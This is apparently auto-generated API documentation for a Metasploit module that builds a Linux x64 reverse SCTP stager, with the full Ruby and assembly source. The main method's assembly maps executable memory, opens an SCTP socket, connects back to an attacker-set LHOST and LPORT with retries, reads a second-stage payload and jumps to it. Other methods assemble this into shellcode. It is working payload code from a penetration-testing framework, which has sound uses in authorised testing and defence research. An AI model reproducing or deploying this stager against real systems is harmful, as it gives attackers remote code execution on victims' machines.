Module: Msf::Payload::Linux::ReverseSctp_x64
- Includes:
- Msf::Payload::Linux, TransportConfig
- Defined in:
- lib/msf/core/payload/linux/x64/reverse_sctp_x64.rb
Overview
Complex reverse SCTP payload generation for Linux ARCH_X64
Constant Summary
Constants included from Rex::Payloads::Meterpreter::UriChecksum
Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN
Instance Method Summary collapse
-
#asm_reverse_sctp(opts = {}) ⇒ Object
Generate an assembly stub with the configured feature set and options.
-
#generate(_opts = {}) ⇒ Object
Generate the first stage.
-
#generate_reverse_sctp(opts = {}) ⇒ Object
Generate and compile the stager.
-
#include_send_uuid ⇒ Object
By default, we don’t want to send the UUID, but we’ll send for certain payloads if requested.
-
#required_space ⇒ Object
Determine the maximum amount of space required for the features requested.
- #transport_config(opts = {}) ⇒ Object
Methods included from Msf::Payload::Linux
Methods included from TransportConfig
#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components
Methods included from UUID::Options
#generate_payload_uuid, #generate_uri_uuid_mode, #initialize, #record_payload_uuid, #record_payload_uuid_url
Methods included from Rex::Payloads::Meterpreter::UriChecksum
#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup
Methods included from Pingback::Options
Instance Method Details
#asm_reverse_sctp(opts = {}) ⇒ Object
Generate an assembly stub with the configured feature set and options.
77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 |
# File 'lib/msf/core/payload/linux/x64/reverse_sctp_x64.rb', line 77 def asm_reverse_sctp(opts={}) # TODO: reliability is coming retry_count = opts[:retry_count] reliable = opts[:reliable] encoded_port = "%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first encoded_host = "%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first seconds = (opts[:sleep_seconds] || 5.0) sleep_seconds = seconds.to_i sleep_nanoseconds = (seconds % 1 * 1000000000).to_i if respond_to?(:generate_intermediate_stage) pay_mod = framework.payloads.create(self.refname) read_length = pay_mod.generate_intermediate_stage(pay_mod.generate_stage(datastore.to_h)).size elsif !module_info['Stage']['Payload'].empty? read_length = module_info['Stage']['Payload'].size else read_length = 4096 end asm = %Q^ mmap: xor edi, edi push 0x9 pop rax cdq mov dh, 0x10 mov rsi, rdx xor r9, r9 push 0x22 pop r10 push 0x7 pop rdx syscall ; mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) test rax, rax js failed push #{retry_count} ; retry counter pop r9 push rax push 0x29 pop rax cdq push 0x2 pop rdi push 0x1 pop rsi push 0x84 ; IPPROTO_SCTP pop rdx syscall ; socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP) test rax, rax js failed xchg rdi, rax connect: mov rcx, 0x#{encoded_host}#{encoded_port} push rcx mov rsi, rsp push 0x10 pop rdx push 0x2a pop rax syscall ; connect(3, {sa_family=AF_INET, LPORT, LHOST, 16) pop rcx test rax, rax jns recv handle_failure: dec r9 jz failed push rdi push 0x23 pop rax push 0x#{sleep_nanoseconds.to_s(16)} push 0x#{sleep_seconds.to_s(16)} mov rdi, rsp xor rsi, rsi syscall ; sys_nanosleep pop rcx pop rcx pop rdi test rax, rax jns connect failed: push 0x3c pop rax push 0x1 pop rdi syscall ; exit(1) recv: pop rsi push 0x#{read_length.to_s(16)} pop rdx syscall ; read(3, "", #{read_length}) test rax, rax js failed jmp rsi ; to stage ^ asm end |
#generate(_opts = {}) ⇒ Object
Generate the first stage
20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
# File 'lib/msf/core/payload/linux/x64/reverse_sctp_x64.rb', line 20 def generate(_opts = {}) conf = { port: datastore['LPORT'], host: datastore['LHOST'], retry_count: datastore['StagerRetryCount'], sleep_seconds: datastore['StagerRetryWait'], } # Generate the advanced stager if we have space if self.available_space && required_space <= self.available_space conf[:exitfunk] = datastore['EXITFUNC'] end generate_reverse_sctp(conf) end |
#generate_reverse_sctp(opts = {}) ⇒ Object
Generate and compile the stager
51 52 53 54 |
# File 'lib/msf/core/payload/linux/x64/reverse_sctp_x64.rb', line 51 def generate_reverse_sctp(opts={}) asm = asm_reverse_sctp(opts) Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string end |
#include_send_uuid ⇒ Object
By default, we don’t want to send the UUID, but we’ll send for certain payloads if requested.
40 41 42 |
# File 'lib/msf/core/payload/linux/x64/reverse_sctp_x64.rb', line 40 def include_send_uuid false end |
#required_space ⇒ Object
Determine the maximum amount of space required for the features requested
59 60 61 62 63 64 65 66 67 68 |
# File 'lib/msf/core/payload/linux/x64/reverse_sctp_x64.rb', line 59 def required_space # Start with our cached default generated size space = 300 # Reliability adds 10 bytes for recv error checks space += 10 # The final estimated size space end |
#transport_config(opts = {}) ⇒ Object
44 45 46 |
# File 'lib/msf/core/payload/linux/x64/reverse_sctp_x64.rb', line 44 def transport_config(opts={}) transport_config_reverse_sctp(opts) end |